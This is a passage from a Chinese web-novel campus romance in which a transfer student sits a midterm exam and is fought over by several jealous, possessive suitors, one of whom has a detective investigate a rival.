是半个小时前发来的,陶柠忍不住攥紧信封,播了个电话过去,没过三秒钟,对面便接通了,似乎一直在等他的电话。 电话那边的声音略微沙哑,片刻,才开口说话:“呆宝,怎么现在才想起我?” 陶柠小声道歉:“对不起赵静群,我想和你商量一件事。” 男人轻声笑了:“呆宝商量的事我哪件没答应过?是什么?” 前所未有的愧疚与歉意牵动着陶柠的心,“我我下周一到周三都不回家。”担心电话那头的人不答应,陶柠急忙找补,“就这三天,周四我就回家。” 电话那头沉默,只余通过听筒传来男人很浅的呼吸声,墙壁上的指针滴答滴答转动,陶柠忽然没由来的紧张,就在他要解释时,电话那头依旧轻轻笑了:“行,老公答应了,只是周四回来要好好补偿我。” 男人说起‘补偿’两个字,带了些揶揄的味道。 陶柠耳尖瞬间羞红,经过上次的帮助后,他知道补偿是什么意思。 隐蔽昏暗的办公室内,电话对面的少年羞涩到匆匆“嗯”了一声,然后小声跟他说再见,便挂了电话。 一瞬间,办公室内的气氛降至了冰点,孙老二连忙低头,吓得大气都不敢喘,只见黑紫檀木桌上,赫然是无数照片,而每一张照片上,不是漂亮少年与徐隽牵手,便是两人有说有笑的模样。 有些照片已经被人捏到全是褶皱,甚至还有被尖锐物品划过的戾痕,照片上男人清俊的模样面目全非,只剩少年的笑容是安静美丽的。 啪的一声! 手机被重重砸在其中一张照片上,声音之大足以真响整个办公室,孙老二恨不得跟着这声响从窗外跳下去,也不想在这里承受已经从太子爷变成阎王爷的赵静群的怒火。 中午刚说完要查那个叫徐隽的小子,还有他和天仙嫂子的关系,那边便办事效率极快,不仅把徐隽的家世背景翻个底朝天,连从小到大所有能查到的行为给查出来了,结果全是一连串的奖项、论文等等,甚至其他人对这小子的评价一致都很高。 孙老二犹记得向来挺尊重读书人的赵静群那个鄙夷至极的表情,冷笑:“写的什么垃圾东西,虚伪,连我宝宝一根头发丝都比不上。” 实则那篇论文是全法文版的,探讨的题目是“量子点在纳米电子学中的应用与性能优化”,孙老二也没看懂,还是当时有个会法语的翻译说的。而孙老二记得,他家太子爷只读到高中就没上了,当然,其中最根本的原因是赵静群小时候被拐卖的家庭非常差,他被迫放弃继续求学。 被赵家找回去后,因为赵家的事情过于复杂,其中可能动不动便会要命,压力非常人能够忍受,所以留给赵静群学习的时间很少。 好在他们太子爷可以说是天生的经商的奇才,其实就是足够心狠手辣,面对群狼饲虎,硬生生扛过来了,也因为天仙嫂子,以往去国外留学深造的计划全部被打乱,但太子爷依旧在吃人的赵家站稳了脚跟。 如此狠厉之人,孙老二是既怕又佩服的,可惜偏偏只要碰到天仙嫂子的事,横行霸道的太子爷便成了再普通不过的为情所困的男人,孙老二小心感慨,果然自古英雄难过美人关。 只是如今,已经不是过不过美人关的问题了,因为孙老二觉得,他们太子爷此刻头上绿得厉害。 因为后面侦探联和上面的力量,把徐隽家附近的监控看了个遍,结果找到了一些足以令这位总是脸挂笑意的‘英雄’成为‘妒夫’的照片,赵静群见到那些照片时,那几声冷笑令孙老二至今还起鸡皮疙瘩,阴森的凉意从脚底窜到头顶。 过了许久,孙老二听见黑紫檀木桌后的男人冷声道:“再去查宋郁丛要查所有他和陶柠有关的事情。” 第67章 第 67 章 四人斗地主 “期中考要来了, 不过按照学校惯例,这几天要开好几个讲座,邀请的都是各科学术大牛, 要一起去听吗?” 演算的笔尖一顿,陶柠从习题册中抬头, 笑容阳光的男孩儿站在他面前,右手抱着篮球, 见他视线看过来,有些腼腆地挠了挠头发。 担心陶柠拒绝,路决继续道:“那些讲座会发很多典藏书籍, 还能认识不少名人,很多都是编撰我们教科书” “让一下。” 冷淡的声音自背后响起,陶柠看过去, 只见徐隽神色淡漠站在路决身后。 路决条件反射性侧身, 徐隽面无表情走过, 从始至终没有看过陶柠一眼, 仿佛真的只是正常经过被挡住路了。倒是路决有些不爽,无语道:“他近视度数恐怕又增加了吧, 这条路明明很宽,旁边不是能走么。” 奥克森特只允许教室容纳三十个左右的学生,而每间教室宽敞明亮, 学生都是独立座位,不存在两张课桌间行走拥挤的情况。 陶柠也知道徐隽是故意的,虽然不理解他为什么要这么做。因为自从上次在宿舍发生的事后,这两天徐隽几乎没有跟他说过话,态度冷淡得仿佛对待陌生人,连最简单的室友都不是。 即使陶柠亦步亦趋跟在徐隽身后, 像个真正的暗恋者一样,徐隽的目光也很少落在他身上。 结果任务完成的消息一点没有,反倒是有流言传他是“徐隽的小跟班”“喜欢徐隽”“想攀附徐隽在学校的关系寻求庇护”等等。 这些流言对陶柠的任务是有利的,所以他没有解释,奇怪的是,徐隽也没有。从前陶柠就猜不出来徐隽在想什么,现在他们之间的气氛尴尬冷淡后,更猜不出来了。 所以陶柠摸不准他们关系冷淡后徐隽对这些流言的态度。 直到昨天陶柠依旧低着头,不说话默默跟在徐隽身后,有学生会的人看到了,打趣似地问:“徐会长,你的室友兼小跟班在身后呢,要请他进来喝杯水吗?” 陶柠停住脚步,悄悄抬起脑袋,男人的背影清俊挺拔,片刻,他听见徐隽说:“我跟他不熟。” 这句话一石掀起千层浪,很快“陶柠勾搭徐隽被拒”的流言传开,奥克森特的论坛上还有人真诚发问——“我记得陶柠不是和那个人有一腿吗,怎么又扯上徐了。” 跟帖的帖子回复得乱七八糟。 从“宋郁丛有什么不能说的,他家现在被人搞了”到“啊啊啊啊你们不知道陶柠有多萌多漂亮,简直是**漫Omega本O”、“三人文学吗,我爱看”、“楼上搞错了,是四人斗地主,我上次看到他从一辆奔驰下来,身后跟着一个混黑的(疑似)”、“能不能断情绝爱,这次期中我继续压徐隽第一” 这条发问帖不出一个小时便被封了,甚至贴主被禁言了九十九年,而众所周知,学校论坛是学生会在管理,至于究竟是被学生会里谁禁的,就无人得知了。 想起徐隽说跟自己不熟,即使知道这是气话,陶柠还是有些难过,但他不是一个轻易放弃的人,该继续跟在徐隽背后就继续跟在徐隽背后。 甚至期中考要来了,陶柠从口袋里掏出小册子,一边低头背书看书,一边跟在徐隽身后,可以说学习任务两不误,晚上回宿舍还要做三套有些偏科的卷子。 脑海中那道熟悉的机械音说不出的讽刺:【看来你适应得很好。】 陶柠几乎不搭理这个“新系统”,而且他觉得,这些话简直连宋郁丛百分之一的攻击力都没有,所以对这句不痛不痒的讽刺免疫。 “陶柠?”路决的手从眼前晃了晃,陶柠回过神,答应了:“嗯。” 路决兴奋不已:“行,说定了啊,明天带你去。” 晚上回到宿舍,因为讲座的事情也是学生会在安排,徐隽很忙。 陶柠趁他还在办公室开会,回复了一下赵静群的短信,他白天不会带手机,只有晚上才回消息,大部分时间都是在回赵静群的电话和短信,还有一部分则在拍照。 因为赵静群说很想他,照片可以缓解思念。 【宝宝真乖,明天来接你。】 陶柠迟疑了,【这周要考试,我可能要再待几天。】 对面回复:【>-<】 陶柠不理解这个表情是什么意思,发了个【?对不起】 对面沉默片刻,即使看不见人,也能从字里行间看出一点无奈和宠溺。 【好吧呆宝,看来只能留我一个人独守空房了T-T。】 陶柠研究了一下这个绿信聊天软件,发现竟然还有表情包这个功能,精挑细选,发送:【(标准黄脸微笑.jpg)】 结束聊天,徐隽恰好回来了,他面色冷淡,似乎没看见陶柠刚把手机收起来的动作,直接去了浴室,出来后坐在书桌前看书,过程中没有说一句话,以至于整个宿舍内只有笔尖沙沙的声音。 熄灯后,陶柠睁着眼看天花板,轻声道:“晚安。” 一直到很浅的呼吸声响起,徐隽睁开眼,锐利的眼眸内闪过复杂,最后,他淡淡地“嗯”了一声。 “陶柠晚安。” 学校期中前两天是不上课的,留给学生自由复习或者参加讲座、社团等等活动。吃完早餐,路决兴冲冲带陶柠去讲座现场,奥克森特有三个体育馆,几十个专门举办讲座的会议厅,海报上写着各个讲座的介绍,学生可以自主选择。 “是伊丽莎白教授哎,我上次买了她的新著作,刚好有几个问题想问她。” “我靠!李亚学长也来了?外交部那么多事他也来,母校真爱粉没错了” “这个动物展示有意思,京市生科院的人。” “我服了,我看到我爸了。” “你想听哪个?”路决笑容灿烂,给了陶柠一杯常温可乐。陶柠还没喝过这种碳酸饮料,尝了一口,眼睛微亮,“谢谢,很好喝。嗯我们看这个吧。” 陶柠本来想选讲诗词歌赋的,但可惜没有开设这种讲座,于是挑了个最感兴趣的海报,只见纤细的手指着的海报上画满了动物与各种各样的昆虫。 路决表情迟疑,“真的要去听这个讲生物的?” 陶柠眨了下眼,“不喜欢吗?那我们换一个。” “不是不是。”笑容阳光的男孩儿此刻面容显得有些心虚,挠了挠头,“我怕碰见我哥,他那人特唠叨哎没事,你喜欢的话我们就走吧。” “嗯。” 生物讲座在奥克森特第二主楼展开,来看的人很多,大部分都是被海报上的动物吸引的,期间还有学生会的人在安排位置次序,这里面有个不成文的规定,便是谁家世好谁才有资格坐前面。 陶柠不知道这个规定,径直坐到最前排,刚坐下便被一个学生会的男生喊住,“喂,你” 男生的衣袖被人拉了拉,另一个学生会的人小声告诉他,“会长说陶柠的位置随便坐,你知道随便这俩字么?” “但我听说会长不是不喜欢他吗?” “呵呵。”此人把他拉走,“会长心海底针,快走吧。” 陶柠回头,但人已经走远了,他不明所以将目光重新落回讲台。讲台正中央站着一个穿蓝白格子衬衫白色长裤的青年,因为离得很近,陶柠看得很清楚。 青年很高,约莫有一米八六,宽肩窄腰,正低头翻找资料,旁边有人在给他测试播放设备,过了片刻,他抬头,露出俊朗的五官,戴着很简单的黑色眼镜,修长的手指推了一下镜架。 注意到陶柠认真的视线,朝他温和地笑了一下。 青年的目光移到陶柠身旁的人,轻笑着摇了一下头,但没说什么,继续整理桌上的东西。陶柠这才发觉,路决满脸紧张,刚才青年视线投过来的那一刻,身体更是绷紧,好似如临大敌。 “那是你哥吗?”陶柠有些印象,似乎听人说起过,路决有个研究生物的哥哥叫路恩,难怪青年的相貌与路决有几分相似。 路决松了口气,一言难尽点了点头,“你别看我哥那副人模狗样的,其实一肚子坏水,你看吧,他等会拿出来做展示的动物肯定很吓人。” 讲座正式开始后,台上的青年简单介绍了一下自己,“我叫路恩,目前在华国科学院京市生命科学研究院打工,我导师今天临时有事,就让我来了。” 他随便说了几下来由,就开始滔滔不绝介绍各种各样的动物,讲的知识由浅入深,生动有趣。陶柠记了很多笔记,而旁边的路决已经开始小声打呼噜了。 直到最后万众期待的动物展示环节来了,台下众人屏息凝神,台上的路恩神色莫测,讲台上装有动物的小笼子盖着红布,他笑眯眯一把将红布掀开。 “啊啊啊啊啊——” “是癞蛤蟆!!” “我靠!还有红色毛毛虫啊啊!” 相比起其他人的震惊与恨不得避退三舍,只有陶柠很淡定,因为他自小在山中长大,什么稀奇古怪的虫子和小动物都见过。 路恩笑呵呵,徒手将一身疙瘩的哈蟆掏了出来,“这是粗皮角蟾,可以长到成年男性巴掌大,现在我手上这只就是,常生活在高海拔地区,在我国河口、靖西等地分布。这是花裙锯蛱蝶的幼虫,全身通体黑红色,背上的刺是用来预防天敌的。” “看大家的反应是很感兴趣,有没有想摸一下的?” 哈?哪只眼睛看到他们感兴趣了?台下众人面露惊恐,纷纷一脸抗拒摇头。 路恩有些遗憾,直到目光瞥到台下的少年,其实他进来后第一眼便注意到了,不仅是因为少年身旁坐着他那不争气的弟弟,还有少年那双在灯光下熠熠生辉的眼睛,像海底的星光一样,漂亮极了。 第68章 第 68 章 要摸一下吗 少年坐在台下, 自始至终很安静,坐姿端正,脸上没有丝毫恐惧, 只有好奇,浓密纤长的睫毛眨了眨, 似乎对路恩手上的角蟾很感兴趣。 “要摸一下吗?”路恩走到他面前,笑着问。 陶柠愣住, “可可以吗?” “可以。”路恩怕角蟾跳走了,捏住它的脑袋。众人看着一只睁着两颗圆溜溜黑眼睛的角蟾送到了陶柠前面,坐在他旁边的人瞬间蹦出去三米远。 纤细的手指碰了碰, “咕咕咕”的一声从角蟾的气囊中发出,陶柠满脸惊奇,虽然触感很粗糙, 但的确是很新奇的体验。 展示完毕后, 这次生物讲座差不多结尾了, 陶柠本来想叫醒路决跟他一起离开的, 然而路恩快了一步,笑眯眯推醒了路决, 然后以迅雷不及掩耳之势把角蟾放到他眼皮子底下,其能吐泡泡的吻部距离路决的鼻尖仅零点零一毫米。 于是接下来整个会场只剩下路决杀猪般的尖叫声 “下次见。” “嗯,再见。” 陶柠向路恩点头致意, 后者笑着朝他挥了挥手。 出去时正值傍晚,门口的人零零散散,陶柠看见徐隽站在远处,他站在夕阳下,手里拿着笔和本子,正低头跟人说话, 影子被拉得很长,经过的人有些跟他打招呼,徐隽全部回应了。 陶柠走过去,“一起去吃饭吗?” 不等徐隽开口,他身旁的人直接拒绝:“我们会长事情多着呢,在这儿站半天了,这边会场大大小小还有很多事情忙,你” 徐隽淡淡看了他一眼,这人忽然汗毛倒竖,声音越说越小,最后默默闭上了嘴巴。 直到两人一前一后离开,这人还没从自我怀疑中回过神,看着他们似乎一点儿也不亲密的距离,喃喃道:“不是说要等所有会场结束才走吗” 陶柠有些搞不懂徐隽是怎么想的,他如果想和徐隽并肩走,那么徐隽便会走得很快,最终把他甩在身后,如果他只跟在他身后,那么徐隽就会放慢脚步,陶柠只能默默看着他清俊挺拔的背影。 但陶柠如果停下脚步,那么前面的徐隽也不会走了。 陶柠:“” 陶柠跟在他身后回了宿舍,依旧没人说话,只有他们同时刷题的声音,明天就是期中考了,陶柠有些紧张,因为这是他来奥克森特的第一场考试,非常重要,事关他的资助合同。 睁着眼睛看天花板,陶柠睡不着。 “徐隽你睡了吗?” 旁边没有回应,陶柠翻了个身,看向前方黑黢黢的床铺,继续道:“徐隽?” 过了半晌,前方才淡淡地“嗯”了一声。 “我睡不着。” “紧张?” 陶柠一下子从床上蹦起来了,“对。”想起自己的暗恋任务,顺其自然道:“徐隽你真厉害,这也能猜到。” 黑暗中,徐隽闭上眼,嘴角微勾:“睡吧,明天要早起。” “可是我害怕考砸了。”少年的语气突然变得低落,静了片刻,不远处的床铺响起很轻的声音:“不会我相信你。” * 陶柠起来的时候就收到了赵静群的短信,里面全是让他好好考试,不要紧张,然后准备了很多奖励等等之类的话,陶柠回了个“知道了”。 他甚至又接到了宋郁丛的电话,厨房里传来热水沸腾的声音,徐隽很早便在里面准备早餐了。 “乡巴佬,你什么时候回来?”电话那边的声音非常不满。“你跟你那个暴力狂表哥又不是亲的,以后少跟他来往,徐隽更不是个好东西,清高虚伪,就你跟个傻子似的贴上去” 没等陶柠说话,那边的宋郁丛又哼了一声,“我买了几个不要的游戏机,今天你考完送给你吧。” 对于宋郁丛别扭的示好,陶柠已经习以为常了,他看了一眼厨房的方向,徐隽正背对着他,看不出在做什么,他“哦”了一声,“谢谢,我会加油的。” 宋郁丛冷哼,迅速挂断电话。 巧的是,陶柠刚跟两人联系完,徐隽就面无表情把两份粥端过来了,还有两杯热气腾腾的豆浆,他面前多了一份油条和两个鸡蛋。有些地方在考试前吃一根油条和两个鸡蛋寓意考试顺利或者考一百分。 陶柠说:“我应该吃不完。” 徐隽淡淡道:“随你。” 话落,他几口喝完粥,面无表情出门了。 陶柠叹了口气。昨天晚上关系刚好点,今天似乎又生气了。 因为陶柠是转校生没有以往的成绩,而奥克森特的考场是按年级排名安排的,陶柠被安排到了最后一个考场,跟他同一个考场的,还有几个没有成绩的转校生,更多的则是来混日子根本无心考试的学生。 他们在考场嘻嘻哈哈吵成了一片,监考老师那这些有钱人家的孩子没什么办法,只好装作视而不见,只有在有督考来巡逻时,才扯几下嗓子制止。 陶柠背着书包进来时,考场安静了一瞬,随即爆发唏嘘声。 “这不是论坛的大地主嘛哈哈哈哈,他的三个农民呢。” “不过你们别说,他确实皮肤白到发光,用的什么护肤品。” “我记得他还是转校生吧,说不定下个月就看不见了。” “万一人家考年级第一怎么办” “就他考第一?你要笑死谁,他要是考第一我从这里跳下去。” “我靠徐隽来了有好戏看了。” 只见门口的徐隽脸上一如既往没有表情,也没有看向陶柠所在的位置,而是提着书包来到一个空位坐下。 “徐隽怎么来这儿考试了?他不是第一考场的吗?” “啧啧啧,年级第一来竟然来我们学渣考场,逢屁生灰啊。” “傻逼,那是蓬荜生辉,回家吧你。” 陶柠想问徐隽怎么会来这里,但徐隽坐在他左前方,离他有四五米远,而且开考铃响起,索性放弃了。 第69章 第 69 章 太简单了 奥克森特虽然学风“自由”, 学校里到处充斥奢侈与阶层的气息,但对待学业与考试上并不含糊,可以说是雷厉风行, 一天就考完六门,从早考到晚, 时间非常紧张。 并且因为奉行精英教育,管理层认为考试时间应该减少, 因此本应该用时一百五十分钟的试卷,奥克森特规定只能用时一百二十分钟,减少了百分之二十, 同理其他试卷的用时时间也要减少百分之二十。 所以当开考铃声响起的那一刻,即使是最后一个鱼龙混杂的考场,大部分学生也迅速收起嘻嘻哈哈, 翻开试卷开始考试, 结果刚翻开, 所有人都懵了, 只有零星几个开始动笔的声音。 更多的是愤怒的窃窃私语。 “是不是有病?怎么是数学?说好的第一场考语文的呢?!” “估计临时变卦了,奥克森特老操作呵呵。” “谁懂上次说第一场考英语, 结果考的化学。” “我~*&%#¥明年我要让我爸在修他们办公大楼的水泥里掺粪水” 面对密密麻麻满是数字的试卷,刘玉良已经紧张到手在发抖。 第一场就考数学?!这哪儿是在筛选精英?纯属在搞他们的心态! 刘玉良在心底痛骂高层,因为他是跟陶柠同一批进来的转校生, 这次考试关乎他以后能否在奥克森特继续待下去,也关乎他能不能领到高额的奖学金。因此他满脑子都是等会儿的考试,根本没有关注这个考场上发生的事情。 只是觉得前排坐的人身上很好闻,除此之外,便是桌上地狱级难度的数学试卷了。 他大脑一片空白,但毕竟从小到大都是尖子生, 刘玉良很快缓过来,进入状态开始考试,手上的动作没停过,高强度的紧张让他比平时刷试卷的速度快了一两倍。 直到一小时结束的吹哨声响起,最后一个字落笔,刘玉良长松了口气。 终于可以喘息一会儿了,他揉了下演算到近乎酸痛的手,一抬头,就看见一张昳丽的脸正望着左前方发呆,即使巴掌大的脸被眼镜遮住了一半,依旧能看出少年精致的轮廓。 刘玉良有些恍惚,认出了陶柠。 这个在论坛上很出名的转校生,跟他也是同班同学,但是有传言这个转校生的身体很不好,隔三差五请假,肯定跟不上进度,这次考试后就要被迫离开奥克森特了。 看陶柠这副发呆的模样,发的两大张演算纸一片空白,估计是看到试卷不会做后干脆放弃了。在这所满是权贵子弟的学校,刘玉良对出身普通的转校生有种身份认同的微妙团结感。 不忍陶柠成绩惨淡,让备受歧视的转校生本就不好的口碑跌到谷底,趁还有些时间,刘玉良用笔头戳了一下少年清瘦的背脊。 感觉到后背被尖锐的东西戳了几下,陶柠回过神,身后的男生用变声期的嗓音催促道:“给,快点儿,别被老师发现了” 也是因为他们的位置在角落里,而且最后一个考场管得松,刘玉良才敢把试卷摊平摆在桌角让少年光明正大抄。 发生了什么?陶柠有些懵,开考铃响起后,他只用了不到半个小时做完试卷,因为这些题相比起他平时刷的全英文或全德文版的数学题实在太简单了,即使有些题目原型来自奥数,也是非常基本的东西。 陶柠甚至没有演算,小题在卷子上随意圈了关键数值,大题则直接写的步骤。 他刚开始还担心考试后作文写不出来,没想到第一场考数学,陶柠内心窃喜,等会就有时间再看看《高考作文范例》了,写完后,他便不由自主看向徐隽,想知道他在做什么。 “喂,你还发呆呢?”见陶柠再次出神,刘玉良更着急,恨铁不成钢似地拍了拍自己写满的数学试卷。 他就没见过比陶柠更迟钝的人,现在不知道多抄点,再过十几分钟结束铃响起,到时候死到临头没救了,这不是脑子有问题么?真不知道陶柠这人是怎么进奥克森特的 陶柠愣了愣,顺着刘玉良的动作看向他的试卷,是想和他对答案吗?他曾经碰到过这样的同学,那些同学每逢考试便说他是在世救星,求他不要挡试卷。一般情况下,陶柠都会答应。 迅速扫了一眼身后人的试卷,陶柠小声说:“第八题错了,选A,第十二题应该选BC最后一个填空题有两个答案,是根号二和二分之根号二还有吗?” 想告诉他后面的答案,但陶柠努力扭过头也只能看到试卷前两页,看不到后面的了。 不料这些话落下,陶柠发现,身后的人正在用一种看傻子和神经病的眼神看他,“怎怎么了?” 刘玉良彻底无语,如果刚才他同情陶柠是一个马上要被赶出去的转校生,所以恨铁不成钢,现在觉得陶柠是单纯脑子出了问题,以后被赶走是活该。 一个连演算纸都空白的人竟然敢告诉他这个数学常年在一百二三的人所谓的答案?! 谁给他的自信啊?? 最后那么一点仅剩的同情心没了,刘玉良白了他一眼,默不作声收回试卷,让陶柠自生自灭去吧,又笨还死要面子,没救了。 但出于古怪的对比心理作祟,刘玉良明知陶柠说的答案是胡诌的,还是忍不住重复演算了那三道题,但最后得出的结果都与自己的答案一致,于是在心里更坚定认为陶柠彻底没救了。 见身后的同学听了自己的话重新做题去了,陶柠放心下来,刚才的眼神可能是他感觉错了吧。 而坐在陶柠旁边,把这一切收尽眼底的王鹏心下大喜,他是个真正来混日子的富二代,但数学考零分也说不过去。 刘玉良忙着做题没看见陶柠花了半个小时不到就把试卷写满了,但王鹏这个压根没动笔的人看得一清二楚,当时他便瞠目结舌,直呼神迹。 毕竟管他是乱写还是认真写的,能在半个小时把这张地狱级别难度的数学卷子写满也是神人了。因此在王鹏眼里,陶柠周身好似散发圣光,灿烂夺目不可逼视。 虽然不知道陶柠在和身后的人交流什么,但总归是空闲下来了,王鹏连忙用手捂住半边嘴,喊道:“同学,同学,借我抄抄。” 第70章 第 70 章 妻子出门与其他男人私会…… 刘玉良无语凝噎, 最后一个考场果然是学渣聚集地,这些富二代家里再有钱又能怎样?还不是一群脑子空空的学渣,连抄人都不知道找个厉害的, 到时候成绩出来了两人抱头痛哭去吧。 他甚至懒得再多看一眼,检查题目去了。 但刘玉良不知道王鹏的心理活动, 他的家庭和他本人根本不在乎成绩,只是数学考零蛋说出去不好听而已, 但即使他真的考零分,也不耽误王鹏放学坐普通人一辈子都买不起的玛莎拉蒂MC20回家。 在奥克森特,出生贫困的转校生眼里只有成绩, 而非富即贵的普通学生只在乎心情。 “哦,好。”陶柠不会拒绝态度正常的陌生人,慷慨地把卷子全部平铺好, 为了方便王鹏借鉴, 还会装作不经意把卷子移到书桌下方, 可以让王鹏看得更清楚。 王鹏笑得嘴都开花了, “大好人大好人,谢了啊。”也没看自己抄得是什么, 总之陶柠写了什么他便抄得什么,大题则只抄了前两问,太复杂的就没写了。 这边的动静其实早已引起了监考老师的注意力, 但他选择当作没看见,因为只要不过分到站起来尖叫说“我要抄你们的!”之类的情况,最后一个考场的监考老师都很仁慈。 监考老师只有看看徐隽这个远近闻名的好学生略感欣慰了,也许在最后一个考场考试被影响了状态不佳,徐隽做完试卷后出神了很久,偶尔会瞥向右后方, 也不知是在看什么。 直到结束铃响起,考场内的哀嚎遍野还没响多久,便要迅速进入下一场,陶柠默默收起《高考作文范例》,继续考试了。而旁边的王鹏从头至尾笑得合不拢嘴,因为陶柠除了语文是写满了一百二十分钟,其他科目全部写得飞快,并且非常大方让他都看得一清二楚。 抄不完!根本抄不完!人在考场坐,答案从天降! 刘玉良坐在他们身后嗤之以鼻,中午出去吃饭时甚至都不想经过他们中间,直接绕后门出去,以至于再次错过考场内众多八卦的声音。 因为就在中午休息时间,一个黑衣黑裤保镖打扮的男人提了个巨大的食盒进来,径直走向陶柠,毕恭毕敬说:“小少爷,这是老板亲手做的爱心午餐,请您享用。” 陶柠有点懵,但鉴于会做饭的就赵静群和徐隽二人,他点了点头,“哦”了一声,“谢谢。”食盒在他面前摆开,大大小小的菜摆满了一桌子,每份不多,是按照陶柠的食量来的,还有一小份赵静群上次提过的虾仁炒西蓝花。 刚动筷子,一个塑料袋放到他面前,陶柠抬头,只见徐隽面无表情站在保镖对立面,冷声道:“你忘记带药了。”说完,也不等陶柠开口,转身就走。 但陶柠眼尖地看见他手里提着一个蓝色的食盒应该不是想和自己吃饭吧。 这个想法刚一出现,又进来一个男人,陶柠认识,这是之前把自己喊去学校天台的人,他有种不好的预感,果不其然,男人忽视掉摆了一桌的食物,还有陶柠身旁凶神恶煞的保镖,谄媚笑道:“陶公子,宋二少邀请您去办公室共进午餐。” 话落的那一刻,陶柠感觉到,教室内无数道目光瞬间落在他身上,而最为强烈的感受,则来自左前方,那是一道极冷漠阴郁的视线,如上次被毒蛇盯上般熟稔。 保镖:“小少爷,我给您盛汤吧,这高汤老板炖了一晚上!” 男人:“二少订了麦其林的午宴,相信您肯定会喜欢。” 徐隽面无表情。 教室内的窃窃私语越来越多,还有相机的闪光灯,当时论坛一篇名为《有谁不知道今天99号考场的爆炸午餐这件事,ps:和陶柠有关》的帖子迅速升温。 陶柠:“” 沉默片刻,陶柠拎起药,走向教室门口。 “对不起,我想去吃食堂的燕麦粥。” * 午休完,剩下的考试陶柠一鼓作气写完了,王鹏抄得不亦乐乎,结束时,由于内心欣喜异常,他好哥俩似地把手放到陶柠肩膀上,乐呵说:“兄弟你太讲义气了,我叫王鹏,你绿信多少,我加你,以后有事给我发消息,我保证两肋插刀。” 陶柠愣了愣,也没有抗拒他的好意,说了个电话号码。 猝不及防,背后一道冷淡的声音响起打断了他们,“王鹏,没穿校服,因个人仪容仪表问题扣一分。” 两人回头,只见徐隽神色冷漠盯着他们,手上有一个工作薄,骨节分明的手提笔迅速写了几个字,“啪”的一声工作薄合上,冰冷的视线转落在王鹏搭在陶柠肩上的手。 王鹏即将喷发的暴脾气忽然在这压迫感极强的视线下熄火了,不由自主松开陶柠,直到清俊冷漠的男人走后,他才踢了一把凳子,愤怒道:“操,徐隽脑子秀逗了吧,人马上就要走了,还在学校神气个屁啊” 陶柠没听明白,“他马上要走了是什么意思?” “你还不知道啊?徐隽要休学了,听说是一个特有钱的富商请他去做顾问,但对他那样的家庭也是,有钱了应该不会来学校读书受罪” 一直到考完回宿舍,陶柠还没从王鹏的话中回神,手机嗡嗡作响,接起电话,男人略微沙哑的嗓音笑道:“呆宝,中午的燕麦粥吃饱了?” “嗯吃饱了。” “听话,晚上回家给你加餐,车到校门口了,老公现在上来接你好不好?” 厨房内传来动静,陶柠知道任务没有完成,但他必须回家了,否则赵静群会起疑,他“嗯”了一声,“不用,我马上下来。” 徐隽从厨房出来的那一瞬挂掉电话,陶柠收起手机,他要带一些换洗衣物还有几套练习册回去,不过在这之前,他有个问题想问徐隽。 自从上次把话说清楚后,徐隽便很少跟他说话了,绝大多数情况是陶柠先打开的话题,虽然他平时话也不多,但相比起冷冰冰的徐隽,已经算话密了。 “徐徐隽,你要休学了吗?” 徐隽掀起眼皮,眼前的少年站在原地,身形清瘦,奥克森特的校服勾勒出少年纤细的腰肢,在他冷漠的视线下显得局促,漂亮到仿佛罪恶的脸上满是困惑与无辜——分明不知廉耻,浪.荡而不自知,勾引了一个又一个,在考场上是,现在也是。 刚才趁他在厨房里,又跟那个情哥哥甜言蜜语。 攥住银筷的手收紧,徐隽压下翻涌的嫉妒,冷漠地“嗯”了一声。 “为什么?”少年错愕,那双勾人的眼睛小心翼翼看过来,更想叫人把他弄哭了。 徐隽移开视线,面无表情反问:“你在用什么身份过问我的私事?同学?室友?还是你自以为的朋友?” 这一番话下来,陶柠哑口无言,这几天徐隽不仅态度冷漠,说话也夹棍带刺,他都不知道该怎么和徐隽交流了,只好用沉默回答,默默收拾自己的行李。 徐隽冷眼看着他收拾好书包,他要去哪儿?回宋家?但今天才周四,而且现在宋家不安全。隐约要问出口的话硬生生被咽下,滚动的喉结干涸发涩。 他是别人眼中的天才,有自己的傲骨。 攥成拳头的手钻心疼,徐隽冷漠想,他不是向陶柠摇尾乞爱的可怜虫。 可偏偏,陶柠是个别人不问他便什么都不说的闷葫芦,默默收拾好行李,遮遮掩掩把装有碎片情书的信封塞入书包,背上小书包,提着一袋子衣服就要离开宿舍。 走到门口要关门时,才发现不知什么时候徐隽已经站了起来,跟在他身后。 男人身量很高,距他仅半臂远,金丝眼镜后的双眸安静看着他,虽如寒潭沉不见底,但有片刻间,眸中闪过像亲眼看妻子出门与其他男人私会的哀怨。 陶柠愣愣的,以为是自己挡住徐隽的路了,往旁边挪了一小步,不料徐隽也没出门,只是面无表情跟在他背后盯着他。 对徐隽的行为不明所以,陶柠只好离开。但渐渐的他发现,身后的徐隽不知是凑巧还是故意为之,一直悄无声息跟在他身后。 因为天色已晚,月色昏沉,树荫遮天蔽日,宛若枯臂的枝头显得阴森可怖。偶尔经过光线黯淡的拐角,高大如墨的影子猝不及防出现在脚下,陶柠会情不自禁吓一跳。 他扭过头,只能看见路灯下,徐隽一动不动跟在身后,半张脸隐没于黑暗,薄唇绷直,预兆着心情极为不妙。 虽然看不清徐隽的眉眼,但陶柠能感受到黑暗里冰冷的视线正盯着他。 可可能徐隽也要去校外吧。 这么自我安慰和解释,陶柠终于到了校门口,背后的书包还有手上提着的东西瞬间被一双手拿走了,赵静群提着两样东西,心疼到直皱眉,“家里什么都有,怎么带那么多东西回家?等会儿肩膀疼、手疼怎么办” 见少年不说话,眼睛还时不时往身后瞟,神色心虚。赵静群目光骤冷,如恶狼般的眼睛瞬间抬起,远远的,他便看见面无表情的徐隽。 后者同样掀起眼皮,将黏腻的视线从少年背后移开,毒蛇与恶狼的视线瞬间对上。 刹那间,空气中危险的因子剑拔弩张。 赵静群一眼便认出了徐隽的身份,他笑意不变,不顾校门口人来人往,好整以暇地伸手把陶柠揽入怀抱,暧昧地凑到微颤的耳尖,散发浓烈占有欲的气息喷洒在怀中人发红的软肉上。 “乖,表哥带你回家休息,要不要把身后的室友请回去做客?” 陶柠顿时浑身僵硬,他以为徐隽走了,竟然还在背后吗……魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 第 71 章 心疼到吻了又吻 “不、不用了。”别说请徐隽回去做客, 光是徐隽和赵静群这两人简单的遇上,陶柠就已经汗毛竖起。 担心赵静群会发现一些细枝末节,陶柠不敢回头多看一眼, 埋在赵静群宽厚的胸膛,仰起脸小声求饶:“表哥, 我们快走吧,我我饿了。” 怀中人抬起头的瞬间, 赵静群眼底的冷意尽数收回,笑得人畜无害,温柔地摸了摸陶柠柔软的头发, 